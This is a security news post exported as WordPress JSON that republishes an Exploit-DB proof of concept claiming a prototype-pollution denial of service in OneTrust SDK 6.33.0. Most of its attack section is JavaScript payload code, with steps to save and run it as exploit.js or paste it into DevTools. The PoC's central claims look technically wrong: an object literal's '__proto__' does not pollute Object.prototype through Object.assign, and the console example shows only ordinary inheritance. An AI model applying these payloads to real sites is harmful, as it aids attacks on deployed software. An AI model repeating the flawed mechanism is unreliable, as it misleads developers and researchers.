{"id":7336,"date":"2025-06-29T10:43:09","date_gmt":"2025-06-29T10:43:09","guid":{"rendered":"http:\/\/localhost\/?p=7336"},"modified":"2025-06-29T10:43:09","modified_gmt":"2025-06-29T10:43:09","slug":"onetrust-sdk-6330-denial-of-service-dos","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=7336","title":{"rendered":"OneTrust SDK 6.33.0 &#8211; Denial Of Service (DoS)"},"content":{"rendered":"<h2>Exploit Details<\/h2>\n<h3>Basic Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit Title<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">OneTrust SDK 6.33.0 &#8211; Denial Of Service (DoS)<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit ID<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">EDB-ID:52340<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Type<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">exploitdb<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Published<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-06-26T00:00:00<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Modified<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-06-26T00:00:00<\/td>\n<\/tr>\n<\/table>\n<h3>CVSS Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">CVSS Score<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">5.7<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Severity<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd; color: #ffaa00; font-weight: bold;\">MEDIUM<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Vector<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">CVSS:3.1\/AV:A\/AC:L\/PR:N\/UI:R\/S:U\/C:N\/I:N\/A:H<\/td>\n<\/tr>\n<\/table>\n<h3>CVE Information<\/h3>\n<div style=\" padding: 15px; border: 1px solid #ddd; margin-bottom: 20px;\">\n<ul style=\"margin: 0; padding-left: 20px;\">\n<li>CVE-2024-57708<\/li>\n<\/ul>\n<\/div>\n<h3>Exploit Description<\/h3>\n<div style=\" padding: 15px; border-left: 4px solid #4CAF50; margin-bottom: 20px;\">\nExploit Title: OneTrust SDK 6.33.0 &#8211; Denial Of Service (DoS) Date: 01\/01\/2025 Exploit Author: Alameen&#8230;\n<\/div>\n<h3>Exploit Code<\/h3>\n<div style=\" color: #d4d4d4; padding: 15px; border: 1px solid #ddd; margin-bottom: 20px; font-family: 'Courier New', monospace; white-space: pre-wrap; overflow-x: auto;\">\n&#8211; **Exploit Title**: OneTrust SDK 6.33.0 &#8211; Denial Of Service (DoS)<br \/>\n<br \/>&#8211; **Date**: 01\/01\/2025<br \/>\n<br \/>&#8211; **Exploit Author**: Alameen Karim Merali<br \/>\n<br \/>&#8211; **Vendor Homepage**: [OneTrust JavaScript API](https:\/\/developer.onetrust.com\/onetrust\/docs\/javascript-api)<br \/>\n<br \/>&#8211; **Software Link**: [otBannerSdk.js v6.33.0](https:\/\/discord.com\/assets\/oneTrust\/v4\/scripttemplates\/6.33.0\/otBannerSdk.js)<br \/>\n<br \/>&#8211; **Version**: 6.33.0<br \/>\n<br \/>&#8211; **Tested on**: Kali Linux<br \/>\n<br \/>&#8211; **CVE ID**: CVE-2024-57708<\/p>\n<p>## Vulnerability Summary<\/p>\n<p>A vulnerability exists in **OneTrust SDK v6.33.0** that allows an attacker to perform **Prototype Pollution** via the misuse of `Object.setPrototypeOf` and `Object.assign`. An attacker can inject malicious properties into the prototype chain, potentially causing **Denial of Service (DoS)** or altering the behavior of inherited objects throughout the application.<\/p>\n<p>## Technical Details<\/p>\n<p>The affected code includes prototype assignment logic such as:<\/p>\n<p>&#8220;`javascript<br \/>\n<br \/>var o = function(e, t) {<br \/>\n<br \/>  return (o = Object.setPrototypeOf || { __proto__: [] } instanceof &#8230;);<br \/>\n<br \/>};<br \/>\n<br \/>&#8220;`<\/p>\n<p>If the `t` argument (a user-supplied object) contains a `__proto__` or `constructor.prototype` reference, it can pollute `Object.prototype` globally.<\/p>\n<p>## Proof-of-Concept (PoC)<\/p>\n<p>&#8220;`javascript<br \/>\n<br \/>function testPrototypePollution() {<br \/>\n<br \/>  const maliciousPayload = {<br \/>\n<br \/>    &#8220;__proto__&#8221;: {<br \/>\n<br \/>      polluted: &#8220;yes&#8221;<br \/>\n<br \/>    }<br \/>\n<br \/>  };<\/p>\n<p>  \/\/ Using vulnerable function &#8216;o&#8217;<br \/>\n<br \/>  try {<br \/>\n<br \/>    o({}, maliciousPayload);<br \/>\n<br \/>    console.log(&#8220;After o:&#8221;, {}.polluted); \/\/ &#8220;yes&#8221;<br \/>\n<br \/>  } catch (e) {<br \/>\n<br \/>    console.error(&#8220;Error testing o:&#8221;, e);<br \/>\n<br \/>  }<\/p>\n<p>  \/\/ Using Object.assign<br \/>\n<br \/>  try {<br \/>\n<br \/>    Object.assign({}, maliciousPayload);<br \/>\n<br \/>    console.log(&#8220;After Object.assign:&#8221;, {}.polluted); \/\/ &#8220;yes&#8221;<br \/>\n<br \/>  } catch (e) {<br \/>\n<br \/>    console.error(&#8220;Error testing Object.assign:&#8221;, e);<br \/>\n<br \/>  }<\/p>\n<p>  \/\/ Cleanup<br \/>\n<br \/>  delete Object.prototype.polluted;<br \/>\n<br \/>}<br \/>\n<br \/>testPrototypePollution();<br \/>\n<br \/>&#8220;`<\/p>\n<p>## Browser Console PoC (DevTools)<\/p>\n<p>&#8220;`javascript<br \/>\n<br \/>var maliciousObj = { __proto__: { hacked: true } };<br \/>\n<br \/>var newObj = Object.create(maliciousObj);<br \/>\n<br \/>console.log(newObj.hacked); \/\/ true<br \/>\n<br \/>&#8220;`<\/p>\n<p>Screenshot: [PoC Screenshot](https:\/\/ibb.co\/B2hyYr5v)<\/p>\n<p>## Steps to Reproduce<\/p>\n<p>1. Save the PoC script above as `exploit.js`<br \/>\n<br \/>2. Run using Node.js: `node exploit.js`<br \/>\n<br \/>3. Observe polluted output (`{}.polluted === &#8220;yes&#8221;`)<br \/>\n<br \/>4. Alternatively, run the payload in browser DevTools<\/p>\n<p>## Impact<\/p>\n<p>&#8211; Global object pollution<br \/>\n<br \/>&#8211; Application logic errors<br \/>\n<br \/>&#8211; Potential DoS<br \/>\n<br \/>&#8211; Further exploitation depending on context<\/p>\n<p>## Recommendation<\/p>\n<p>Developers should upgrade to a patched version and sanitize any user input used in object merging or prototype manipulation.\n<\/p><\/div>\n<p><a href=\"https:\/\/www.exploit-db.com\/exploits\/52340\" target=\"_blank\" style=\"display: inline-block;  color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;\">View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exploit Details Basic Information Exploit Title OneTrust SDK 6.33.0 &#8211; Denial Of Service (DoS) Exploit ID EDB-ID:52340 Type exploitdb Published 2025-06-26T00:00:00 Modified 2025-06-26T00:00:00 CVSS Information&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,138,12,40,21,13,7,11,5],"class_list":["post-7336","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-57","tag-exploit","tag-exploitdb","tag-medium","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>OneTrust SDK 6.33.0 - Denial Of Service (DoS) - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=7336\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"OneTrust SDK 6.33.0 - Denial Of Service (DoS) - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title OneTrust SDK 6.33.0 &#8211; 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